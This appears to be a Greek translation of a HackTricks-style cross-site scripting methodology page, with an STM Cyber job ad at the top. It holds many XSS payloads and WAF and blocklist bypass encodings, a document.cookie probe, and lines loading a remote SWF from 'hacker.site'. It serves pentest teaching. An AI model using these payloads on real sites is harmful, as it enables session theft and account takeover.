.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md |
XSS (Cross Site Scripting)
Εάν σας ενδιαφέρει η επαγγελματική χρήση και η δυνατότητα να χακεύετε το αδύνατο - σας προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών).
{% embed url="https://www.stmcyber.com/careers" %}
Μεθοδολογία
- Ελέγξτε εάν οποιαδήποτε τιμή ελέγχετε (παράμετροι, διαδρομή, κεφαλίδες?, cookies?) αντανακλάται στο HTML ή χρησιμοποιείται από κώδικα JS.
- Βρείτε το πλαίσιο όπου αντανακλάται/χρησιμοποιείται.
- Εάν αντανακλάται
- Ελέγξτε ποια σύμβολα μπορείτε να χρησιμοποιήσετε και ανάλογα με αυτό, ετοιμάστε το payload:
- Σε ακατέργαστο HTML:
- Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
- Μπορείτε να χρησιμοποιήσετε συμβάντα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο
javascript:
; - Μπορείτε να παρακάμψετε προστασίες;
- Το περιεχόμενο HTML ερμηνεύεται από κάποιον κινητήρα JS στο πλευρά του πελάτη (AngularJS, VueJS, Mavo...), μπορείτε να εκμεταλλευτείτε μια Ενσωμάτωση Προτύπου Πλευράς Πελάτη.
- Εάν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, μπορείτε να εκμεταλλευτείτε ένα Κρεμασμένο Σήμα - Ενσωμάτωση HTML χωρίς script;
- Μέσα σε μια ετικέτα HTML:
- Μπορείτε να βγείτε στο ακατέργαστο πλαίσιο HTML;
- Μπορείτε να δημιουργήσετε νέα συμβάντα/χαρακτηριστικά για να εκτελέσετε κώδικα JS;
- Υποστηρίζει το χαρακτηριστικό όπου είστε παγιδευμένοι την εκτέλεση JS;
- Μπορείτε να παρακάμψετε προστασίες;
- Μέσα στον κώδικα JavaScript:
- Μπορείτε να δραπετεύσετε την ετικέτα
<script>
; - Μπορείτε να δραπετεύσετε τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
- Είναι η είσοδός σας σε πρότυπα προτάσεων ``;
- Μπορείτε να παρακάμψετε προστασίες;
- Η συνάρτηση JavaScript που εκτελείται
- Μπορείτε να υποδείξετε το όνομα της συνάρτησης προς εκτέλεση. π.χ.:
?callback=alert(1)
- Εάν χρησιμοποιείται:
- Μπορείτε να εκμεταλλευτείτε ένα DOM XSS, προσέξτε πώς ελέγχεται η είσοδός σας και εάν η ελεγχόμενη είσοδός σας χρησιμοποιείται από κάποια διαρροή.
Όταν εργάζεστε σε ένα πολύπλοκο XSS μπορεί να είναι ενδιαφέρον να γνωρίζετε για:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Αντανακλώμενες τιμές
Για να εκμεταλλευτείτε με επιτυχία ένα XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια τιμή που ελέγχετε και αντανακλάται στην ιστοσελίδα.
- Ενδιάμεσα αντανακλώμενες: Εάν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμη και η διαδρομή αντανακλάται στην ιστοσελίδα, μπορείτε να εκμεταλλευτείτε ένα Αντανακλώμενο XSS.
- Αποθηκευμένες και αντανακλώμενες: Εάν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που έχετε πρόσβαση σε μια σελίδα, μπορείτε να εκμεταλλευτείτε ένα Αποθηκευμένο XSS.
- Προσπελάσιμο μέσω JS: Εάν βρείτε ότι μια τιμή που ελέγχετε προσπελάζεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα DOM XSS.
Πλαίσια
Όταν προσπαθείτε να εκμεταλλευτείτε ένα XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι πού αντανακλάται η είσοδός σας. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
Ακατέργαστο HTML
Εάν η είσοδός σας αντανακλάται στην ακατέργαστη HTML σελίδα, θα πρέπει να εκμεταλλευτείτε κάποια ετικέτα HTML για να εκτελέσετε κώδικα JS: <img , <iframe , <svg , <script
... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που μπορείτε να χρησιμοποιήσετε.
Επίσης, να έχετε υπόψη την Ενσωμάτωση Προτύπου Πλευράς Πελάτη.
Μέσα σε χαρακτηριστικό ετικέτας HTML
Εάν η είσοδός σας αντανακλάται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας, μπορείτε να δοκιμάσετε:
- Να δραπετεύσετε από το χαρακτηριστικό και από την ετικέτα (τότε θα βρίσκεστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για εκμετάλλευση:
"><img [...]
- Εάν μπορείτε να δραπετεύσετε από το χαρακτηριστικό αλλά όχι από την ετικέτα (
>
κωδικοποιείται ή διαγράφεται), ανάλογα με την ετικέτα μπορείτε να δημιουργήσετε ένα συμβάν που εκτελεί κώδικα JS:" autofocus onfocus=alert(1) x="
- Εάν δεν μπορείτε να δραπετεύσετε από το χαρακτηριστικό (
"
κωδικοποιείται ή διαγράφεται), τότε ανάλογα με το ποιο χαρακτηριστικό αντανακλάται η τιμή σας αν μπορείτε να ελέγξετε όλη την τιμή ή μόνο ένα μέρος, θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα συμβάν όπως τοonclick=
, θα μπορείτε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν γίνει κλικ. Ένα άλλο ενδιαφέρον παράδειγμα είναι το χαρακτηριστικόhref
, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλοjavascript:
για να εκτελέσετε αυθαίρετο κώδικα:href="javascript:alert(1)"
- Εάν η είσοδός σας αντανακλάται μέσα σε "μη εκμεταλλεύσιμες ετικέτες" μπορείτε να δοκιμάσετε το κόλπο
accesskey
για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιον είδους κοινωνικού μηχανικού για να εκμεταλλευτείτε αυτό):" accesskey="x" onclick="alert(1)" x="
Παράδειγμα Angular που εκτελεί XSS εάν ελέγ
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Μέσα στον κώδικα JavaScript
Σε αυτήν την περίπτωση, η είσοδός σας αντανακλάται μεταξύ ετικετών <script> [...] </script>
ενός HTML σελίδας, μέσα σε ένα αρχείο .js
ή μέσα σε ένα γνώρισμα χρησιμοποιώντας το πρωτόκολλο javascript:
:
- Αν αντανακλάται μεταξύ ετικετών
<script> [...] </script>
, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιοδήποτε είδος εισαγωγικών, μπορείτε να προσπαθήσετε να εισαγάγετε το</script>
και να δραπετεύσετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML και μετά το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι το εισαγόμενο σας</script>
είναι μέσα στον κώδικα HTML. - Αν αντανακλάται μέσα σε μια συμβολοσειρά JS και η προηγούμενη τεχνική δεν λειτουργεί, θα χρειαστεί να βγείτε από τη συμβολοσειρά, να εκτελέσετε τον κώδικά σας και να ανακατασκευάσετε τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Αν αντανακλάται μέσα σε πρότυπα κυρίως μπορείτε να ενσωματώσετε εκφράσεις JS χρησιμοποιώντας τη σύνταξη
${ ... }
:var greetings = `Hello, ${alert(1)}`
- Η κωδικοποίηση Unicode λειτουργεί για να γράψετε έγκυρο κώδικα JavaScript:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Εξόρυξη Javascript
Η εξόρυξη Javascript αναφέρεται στη δυνατότητα δήλωσης συναρτήσεων, μεταβλητών ή κλάσεων μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε περιπτώσεις όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.
Ελέγξτε την παρακάτω σελίδα για περισσότερες πληροφορίες:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Συνάρτηση Javascript
Πολλές ιστοσελίδες έχουν σημεία που δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί. Ένα κοινό παράδειγμα που βλέπουμε συχνά είναι κάτι σαν: ?callback=callbackFunc
.
Ένας καλός τρόπος να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να τροποποιήσετε την τιμή της παραμέτρου (για παράδειγμα σε 'Ευάλωτο') και να ελέγξετε στην κονσόλα για σφάλματα όπως:
Σε περίπτωση που είναι ευάλωτο, μπορείτε να ενεργοποιήσετε ένα ειδοποιητικό μήνυμα απλά στέλνοντας την τιμή: ?callback=alert(1)
. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα σημεία να επικυρώνουν το περιεχόμενο για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες ([\w\._]
).
Ωστόσο, ακόμα και με αυτό τον περιορισμό είναι δυνατό να εκτελεστούν κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για πρόσβαση σε οποιοδήποτε στοιχείο στο DOM:
Μερικές χρήσιμες συναρτήσεις γι' αυτό:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Μπορείτε επίσης να δοκιμάσετε να ενεργοποιήσετε συναρτήσεις Javascript απευθείας: obj.sales.delOrders
.
Ωστόσο, συνήθως τα σημεία που εκτελούν τη συγκεκριμένη λειτουργία είναι σημεία χωρίς πολύ ενδιαφέρον DOM, άλλες σελίδες στην ίδια προέλευση θα έχουν ένα πιο ενδιαφέρον DOM για να εκτελέσουν περισσότερες ενέργειες.
Επομένως, για να καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM αναπτύχθηκε η εκμετάλλευση Same Origin Method Execution (SOME):
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Υπάρχει κώδικας JS που χρησιμοποιεί με ανασφάλεια κάποια δεδομένα που ελέγχεται από έναν επιτιθέμενο όπως το location.href
. Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Universal XSS
Αυτού του είδους τα XSS μπορούν να βρεθούν οπουδήποτε. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη ενός web εφαρμογής αλλά από οποιοδήποτε πλαίσιο. Αυτού του είδους η αυθαίρετη εκτέλεση JavaScript μπορεί ακόμα να καταχραστεί για να λάβει RCE, διαβάσει αυθαίρετα αρχεία σε πελάτες και διακομιστές, και περισσότερα.
Μερικά παραδείγματα:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
WAF bypass encoding image
Ενσωμάτωση μέσα σε ακατέργαστο HTML
Όταν η είσοδός σας αντανακλάται μέσα στη σελίδα HTML ή μπορείτε να δραπετεύσετε και να ενσωματώσετε κώδικα HTML σε αυτό το πλαίσιο, το πρώτο πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το <
για να δημιουργήσετε νέες ετικέτες: Απλά δοκιμάστε να αντανακλάτε αυτό το χαρακτήρα και ελέγξτε αν γίνεται κωδικοποίηση HTML ή διαγραφή του ή αν αντανακλάται χωρίς αλλαγές. Μόνο σε αυτήν την τελευταία περίπτωση θα μπορείτε να εκμεταλλευτείτε αυτήν την περίπτωση.
Για αυτές τις περιπτώσεις επίσης θυμηθείτε Ενσωμάτωση Πλευράς Πελάτη.
Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας****** -->
ή ****--!>
**
Σε αυτήν την περίπτωση και αν δεν χρησιμοποιείται μαύρη/λευκή λίστα, μπορείτε να χρησιμοποιήσετε φορτία όπως:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Ωστόσο, εάν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα πρέπει να δοκιμάσετε με βία ποιες ετικέτες μπορείτε να δημιουργήσετε.
Αφού έχετε εντοπίσει ποιες ετικέτες επιτρέπονται, θα πρέπει να δοκιμάσετε με βία τα χαρακτηριστικά/συμβάντα μέσα στις εντοπισμένες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.
Δοκιμή με βία ετικετών/συμβάντων
Μεταβείτε στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet και κάντε κλικ στο Αντιγραφή ετικετών στο πρόχειρο. Στη συνέχεια, στείλτε τα όλα χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποιες ετικέτες δεν αναγνωρίστηκαν ως κακόβουλες από το WAF. Αφού ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να δοκιμάσετε με βία όλα τα συμβάντα χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο Αντιγραφή συμβάντων στο πρόχειρο και ακολουθήστε την ίδια διαδικασία όπως πριν).
Προσαρμοσμένες ετικέτες
Εάν δεν βρήκατε καμία έγκυρη ετικέτα HTML, μπορείτε να δοκιμάσετε να δημιουργήσετε μια προσαρμοσμένη ετικέτα και να εκτελέσετε κώδικα JS με το χαρακτηριστικό onfocus
. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με #
για να κάνετε τη σελίδα εστιάσει σε αυτό το αντικείμενο και εκτελέσει τον κώδικα:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Παρακάμψεις Μαύρης Λίστας
Εάν χρησιμοποιείται κάποια μορφή μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Παράκαμψη μήκους (μικρά XSSs)
{% hint style="info" %} Περισσότερα μικρά XSS για διαφορετικά περιβάλλοντα payload μπορεί να βρεθεί εδώ και εδώ. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
Το τελευταίο χρησιμοποιεί 2 χαρακτήρες Unicode που επεκτείνονται σε 5: telsr
Περισσότεροι από αυτούς οι χαρακτήρες μπορούν να βρεθούν εδώ.
Για να ελέγξετε σε ποιους χαρακτήρες γίνεται ανάλυση ελέγξτε εδώ.
Click XSS - Clickjacking
Αν για να εκμεταλλευτείτε την ευπάθεια χρειάζεστε τον χρήστη να κάνει κλικ σε ένα σύνδεσμο ή ένα φόρμα με προεπιλεγμένα δεδομένα, μπορείτε να δοκιμάσετε να καταχραστείτε το Clickjacking (αν η σελίδα είναι ευάθροιστη).
Αδύνατο - Dangling Markup
Αν απλά πιστεύετε ότι είναι αδύνατο να δημιουργήσετε ένα ετικέτα HTML με ένα γνώρισμα για να εκτελέσετε κώδικα JS, θα πρέπει να ελέγξετε το Danglig Markup επειδή μπορείτε να εκμεταλλευτείτε την ευπάθεια χωρίς να εκτελέσετε κώδικα JS.
Ενσωμάτωση μέσα σε ετικέτα HTML
Μέσα στην ετικέτα/διαφυγή από την τιμή του γνωρίσματος
Αν βρίσκεστε μέσα σε μια ετικέτα HTML, το πρώτο πράγμα που μπορείτε να δοκιμάσετε είναι να διαφύγετε από την ετικέτα και να χρησιμοποιήσετε κάποιες από τις τεχνικές που αναφέρονται στο προηγούμενο τμήμα για να εκτελέσετε κώδικα JS.
Αν δεν μπορείτε να διαφύγετε από την ετικέτα, μπορείτε να δημιουργήσετε νέα γνωρίσματα μέσα στην ετικέτα για να δοκιμάσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο φορτίο όπως (σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγετε από το γνώρισμα, δεν θα τα χρειαστείτε αν η είσοδός σας αντανακλάται απευθείας μέσα στην ετικέτα):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Συμβάντα στυλ
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Μέσα στο γνώρισμα
Ακόμα κι αν δεν μπορείτε να δραπετεύσετε από το γνώρισμα ("
κωδικοποιείται ή διαγράφεται), ανάλογα με το ποιο γνώρισμα αντικατοπτρίζεται η τιμή σας, αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος, θα μπορέσετε να το καταχραστείτε. Για παράδειγμα, αν ελέγχετε ένα γεγονός όπως το onclick=
, θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.
Ένα άλλο ενδιαφέρον παράδειγμα είναι το γνώρισμα href
, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript:
για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"
Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας κωδικοποίηση HTML/κωδικοποίηση URL
Οι κωδικοποιημένοι χαρακτήρες HTML μέσα στην τιμή των γνωρισμάτων ετικετών HTML αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι τέτοιο όπως το παρακάτω θα είναι έγκυρο (το φορτίο είναι στα bold): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Επιστροφή </a>
Σημειώστε ότι οποιαδήποτε μορφή κωδικοποίησης HTML είναι έγκυρη:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Σημείωση ότι η κωδικοποίηση URL θα λειτουργήσει επίσης:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Παράκαμψη εντός συμβάντος χρησιμοποιώντας κωδικοποίηση Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Ειδικοί Πρωτόκολλοι Εντός του Χαρακτηριστικού
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα javascript:
ή data:
σε ορισμένα σημεία για να εκτελέσετε αυθαίρετο κώδικα JS. Κάποια θα απαιτήσουν αλληλεπίδραση χρήστη και κάποια όχι.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Τοποθεσίες όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα
Γενικά το πρωτόκολλο javascript:
μπορεί να χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το γνώρισμα href
και σε τις περισσότερες από τις ετικέτες που δέχονται το γνώρισμα src
(αλλά όχι <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Άλλα κόλπα παραμόρφωσης
Σε αυτήν την περίπτωση, η κωδικοποίηση HTML και το κόλπο κωδικοποίησης Unicode από την προηγούμενη ενότητα είναι επίσης έγκυρα καθώς βρίσκεστε μέσα σε ένα γνώρισμα.
<a href="javascript:var a=''-alert(1)-''">
Επιπλέον, υπάρχει ένα ωραίο κόλπο για αυτές τις περιπτώσεις: Ακόμα και αν το input σας μέσα στο javascript:...
κωδικοποιείται σε μορφή URL, θα αποκωδικοποιηθεί πριν εκτελεστεί. Έτσι, αν χρειάζεται να δραπετεύσετε από το string χρησιμοποιώντας μια μονή απόστροφο και βλέπετε ότι έχει κωδικοποιηθεί σε μορφή URL, θυμηθείτε ότι δεν έχει σημασία, θα ερμηνευτεί ως μονή απόστροφο κατά την εκτέλεση.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Σημείωση ότι αν προσπαθήσετε να χρησιμοποιήσετε και τα δύο URLencode + HTMLencode
με οποιαδήποτε σειρά για να κωδικοποιήσετε το payload δεν θα λειτουργήσει, αλλά μπορείτε να τα ανακατέψετε μέσα στο payload.
Χρησιμοποιώντας το Hex και το Octal encode με το javascript:
Μπορείτε να χρησιμοποιήσετε το Hex και το Octal encode μέσα στο χαρακτηριστικό src
του iframe
(τουλάχιστον) για να δηλώσετε HTML tags για να εκτελέσετε JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Αντίστροφη απαγωγή καρτέλας
<a target="_blank" rel="opener"
Εάν μπορείτε να εισάγετε οποιοδήποτε URL σε ένα αυθαίρετο <a href=
ετικέτα που περιέχει τα χαρακτηριστικά target="_blank"
και rel="opener"
, ελέγξτε τη ακόλουθη σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
Παράκαμψη Χειριστών Γεγονότων
Καταρχάς ελέγξτε αυτήν τη σελίδα (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) για χρήσιμους "on" χειριστές γεγονότων.
Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που εμποδίζει τη δημιουργία αυτών των χειριστών γεγονότων, μπορείτε να δοκιμάσετε τις ακόλουθες παρακάμψεις:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονικός, μετα)
Από εδώ είναι πλέον δυνατή η κατάχρηση των κρυφών εισόδων με:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
Και στις μεταετικέτες (meta tags):
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Από εδώ: Μπορείτε να εκτελέσετε ένα XSS payload μέσα σε ένα κρυφό γνώρισμα, εφόσον μπορείτε να πείσετε τον θύμα να πατήσει τον συνδυασμό πλήκτρων. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι ALT+SHIFT+X και στο OS X είναι CTRL+ALT+X. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο γνώρισμα πρόσβασης. Εδώ είναι το διάνυσμα:
<input type="hidden" accesskey="X" onclick="alert(1)">
Το XSS payload θα είναι κάτι τέτοιο: " accesskey="x" onclick="alert(1)" x="
Παρακάμψεις Μαύρης Λίστας
Έχουν αποκαλυφθεί ήδη αρκετά κόλπα χρησιμοποιώντας διαφορετικές κωδικοποιήσεις μέσα σε αυτήν την ενότητα. Πήγαινε πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:
- Κωδικοποίηση HTML (ετικέτες HTML)
- Κωδικοποίηση Unicode (μπορεί να είναι έγκυρος κώδικας JS):
\u0061lert(1)
- Κωδικοποίηση URL
- Κωδικοποίηση Hex και Octal
- Κωδικοποίηση δεδομένων
Παρακάμψεις για ετικέτες και χαρακτηριστικά HTML
Διάβασε τις Παρακάμψεις Μαύρης Λίστας της προηγούμενης ενότητας.
Παρακάμψεις για κώδικα JavaScript
Διάβασε τις Παρακάμψεις Μαύρης Λίστας JavaScript της επόμενης ενότητας.
CSS-Gadgets
Αν βρήκες ένα XSS σε ένα πολύ μικρό μέρος του ιστοχώρου που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένα μικρό link στο υποσέλιδο με ένα στοιχείο onmouseover), μπορείς να τροποποιήσεις τον χώρο που καταλαμβάνει το στοιχείο για να μεγιστοποιήσεις τις πιθανότητες εκτέλεσης του συνδέσμου.
